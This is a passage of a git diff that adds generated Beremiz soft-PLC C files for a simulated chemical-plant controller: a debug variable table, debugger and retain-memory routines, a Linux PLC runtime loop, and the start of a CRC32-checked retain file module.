+{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID 